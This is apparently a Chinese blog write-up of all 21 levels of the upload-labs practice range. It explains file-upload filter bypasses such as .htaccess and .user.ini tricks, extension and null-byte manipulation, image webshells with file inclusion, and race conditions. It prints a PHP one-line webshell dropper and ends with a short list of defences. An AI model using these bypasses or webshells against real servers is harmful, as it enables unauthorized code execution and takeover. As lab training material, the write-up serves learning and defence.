Upload-labs通关记录
Pass01 - Pass21 全记录
Pass-01
前端JS代码检验文件后缀名。
先将一句话木马后缀改为.jpg,然后抓包修改为.php可成功绕过前端检测,上传成功后右键复制显示的图片路径即得到图片地址,菜刀直连。
前端不可信!
Pass-02
仅仅在后端检测Content-Type
字段,抓包修改即可
Pass-03
黑名单限制了asp、aspx、php、jsp,但可以上传phtml、php3、php5等
前提:apache的httpd.conf中有如下配置代码
1 | AddType application/x-httpd-php .php .phtml .phps .php5 .pht |
上传成功后,后端会修改已上传文件的名称为随机数字,但仍然可以直接右键复制显示出来的图片路径来菜刀连接。
Pass-04
仍然是后端黑名单过滤,几乎过滤了所有有问题的后缀名,但唯独没有过滤 .htaccess 文件,可以用 .htaccess + 图片马 进行上传。
.htaccess文件内容如下:
1 | SetHandler application/x-httpd-php |
此文件将改变服务器解析规则,使得所有文件都会被当成php文件来解析。
Pass-05
后端黑名单过滤了所有有问题的后缀,但又是唯独没过滤 .ini 文件,同时提示上传根目录下存在readme.php文件,于是可以用 .user.ini + 图片马 进行上传。
.user.ini 文件内容如下:
1 | auto_prepend_file=shell.jpg |
这条命令会使得当前目录下的所有php文件都自动包含shell.jpg的内容,根目录原本存在的readme.php包含了有一句话木马的shell.jpg文件,相当于readme.php也有一句话木马,上传后等几分钟.user.ini配置文件被加载后,菜刀直连即可。
这里总结一下,引发**.user.ini解析漏洞**需要三个条件:服务器脚本语言为php、服务器使用CGI/FastCGI模式、上传目录下要有可执行的php文件。
Pass-06
查看源码得知,服务器在检查后缀名时少了统一转化为小写的操作,同时黑名单只过滤了php
,但没有过滤PHP
,于是直接用大写的PHP为后缀,上传shell.PHP
即可。
Pass-07
查看源码,后端检测又少了去掉首尾空格这一步,于是上传shell.php+空格
直接拿下。
Pass-08
同样是没名单过滤,但后端检测没有用deldot()
过滤文件名末尾的点,可以直接构造shell.php.
绕过黑名单。
Pass-09
查看源码,后端检测少了::$DATA
字符的检测,于是上传.php::$DATA
即可拿下。
补充知识:php在window的时候如果文件名+::$DATA
会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名 他的目的就是不检查后缀名。
Pass-10
黑名单检测,最后的上传路径直接使用了文件名命名,并且仍然用deldot()
方法过滤文件名末尾的点,于是可以构造shell.php. .
来绕过过滤,进行上传。
补充知识:deldot()
函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。
Pass-11
查看源码,可以看到使用了str_ireplace()
方法来替换掉文件名中存在于黑名单里的字符串(i表示不区分大小写),并将其替换为空,但是只过滤替换了一次,于是可以用双写shell.pphphp
来绕过。
Pass-12
这一关是白名单检测,只允许jpg、png、gif类型的文件上传,最终文件的存放位置是以数字拼接的方式,这里可以使用**%00截断**,并且抓包修改url中的上传路径,自定义文件名,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
补充知识:strrpos(string,find,start)
函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start,length)
函数返回字符串的一部分**(从start开始 ,长度为length)**
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤。
Pass-13
这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以抓包修改post数据,进而自定义文件名,同时使用0x00截断绕过白名单(与%00原理相同,在hex中修改为00)
补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。
Pass-14
这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件,可以使用 图片马 + 文件包含 绕过
找到上一级目录有一个include.php文件,存在文件包含漏洞(现实中基本找不到),最终构造include.php?file=upload/shell.jpg
,包含图片马,然后菜刀直连
补充知识:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG….。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。
Pass-15
解法同Pass-14
补充知识:
getimage()
函数返回一个数组,索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
image_type_to_extension()
获取图片扩展名
Pass-16
解法同Pass-14
知识补充:exif_imagetype()
读取一个图像的第一个字节并检查其签名。
返回值与getimage()
函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。
Pass-17
这一关对上传图片进行了后端二次渲染,需要找到渲染后没有发生变化的地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
补充知识:
- 二次渲染:后端重写文件内容
- [basename(path,suffix]),没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)
函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。- imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
imagecreatefromwbmp():创建一块画布,并从 WBMP 文件或 URL 地址载入一副图像
imagecreatefromstring():创建一块画布,并从字符串中的图像流新建一副图像
方法一:上传正常的gif图片后下载回显的图片,对比两个gif图片内容,找到内容相同的地方,在该处写入一句话木马,然后上传写入后的图片,利用文件包含漏洞,菜刀直连。
方法二:通过大牛的脚本,将一句话写入到png的IDAT数据块中,生成一个图片马,上传后通过包含漏洞连接。
方法三:代码中有一个if判断if(move_uploaded_file($tmpname,$target_path))
这里会产生条件竞争漏洞。
条件竞争绕过原理:不断上传文件,在文件还没被删除前去读取文件,解析里面的php代码(作用为生成一个新的PHP文件),实现绕过,然后可菜刀直连php文件。
可以将<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"]);?>');?>
写入图片中不会被二次渲染的地方,上传该图片,抓包不断重发上传的同时,利用文件包含漏洞快速访问刚刚上传还未改名的文件,理论上手速够快,就可以成功在include.php同一目录下成功写出一个内容为一句话木马的shell.php。
Pass-18
这一关白名单,而且会将上传的文件移动到新的位置,但源码中仍然存在if(move_uploaded_file($temp_file, $upload_file))
,因此可以能用Pass-17中的条件竞争方法。
补充知识:move_uploaded_file(file[,newloc])
,该函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。
Pass-19
这一关白名单,同样利用条件竞争漏洞。
上传检查流程主要是看./myupload.php
文件(这里只给出myupload.php
的关键函数)
需要注意上传路径,这一关直接用.
进行拼接得到文件名(前面关卡都是用.'/'.
拼接路径和文件名的)。
因此这里使用条件竞争漏洞时,文件名将会与之前不同,假设上传的文件名为shell.jpg,则在上传的同时要访问../include.php?file=./uploadshell.jpg
才能访问到我们上传的文件。
Pass-20
这一关黑名单,发现没有过滤.ini,可以使用.user.ini进行绕过。
验证过程:判断上传路径是否存在 –> pathinfo()
函数获取POST参数(保存文件名)的后缀名 –> 判断后缀是否合法(.ini
.php.
) –> 将上传文件名重命名为POST请求中的文件名。
补充知识:pathinfo()
函数,当文件后缀名末尾为.
时,获取到的文件后缀名为空值。当文件名出现多个.
,函数判断最后一个.
后面才是后缀名。
方法一:上传名为shell.php.
的文件,即以.
结尾,同时保存文件名(POST参数值)也设置为shell.php.
即可成功上传php文件,菜刀直连即可
方法二:上传.user.ini+图片马,利用readme.php即可菜刀直连。(参考Pass-05)
Pass-21
这一关白名单,
- 验证过程:
- 验证上传路径是否存在
- 验证[‘upload_file’]的content-type是否合法(可以抓包修改)
- 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
- 判断file不是数组则使用
explode('.', strtolower($file))
对file进行切割,将file变为一个数组 - 判断数组最后一个元素是否合法
- 数组第一位和
$file[count($file) - 1]
进行拼接,产生保存文件名file_name
上传文件
补充知识:
explode(separator,string,limit)
函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)
函数,输出数组中的当前元素和最后一个元素的值。
reset(array)
函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)
函数,计算数组中的单元数目,或对象中的属性个数
方法:上传shell.php文件和POST参数,抓包修改Content-Type的值,并修改POST中save_name参数为数组类型,索引[0]为shell.php内容(即一句话木马),索引[2]为 文件名(shell.php)。将suubmit
提交的参数设为jpg|png|gif
,只要第二个索引不为1,$file[count($file) - 1]
就等价于$file[2-1],值为空。然后发包成功上传,菜刀直连../upload/shell.php即可
1 | ------WebKitFormBoundaryUrTSrcmqAmIAuYRW |
文件上传总结
漏洞成因: 具备上传文件功能的Web等应用,未对用户选择上传的文件进行校验,使得非法用户可通过上传可执行脚本而获取应用的控制权限。
防护与绕过: 通过upload-labs靶场,了解更多的防护与绕过手段。
防御:
- 不要暴露上传文件的位置;
- 禁用上传文件的执行权限;
- 黑白名单;
- 对上传的文件重命名,不易被猜测;
- 对文件内容进行二次渲染;
- 对上传的内容进行读取检查;
不同系统有不同的需求,根据系统需求制定特定的防御手段。
(WAF加上防火墙,一键安装解君愁~)
更新时间—2020.11.10
- 本文作者: Squidward
- 本文链接: http://www.squidward.xyz/2020/11/08/Upload-labs/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!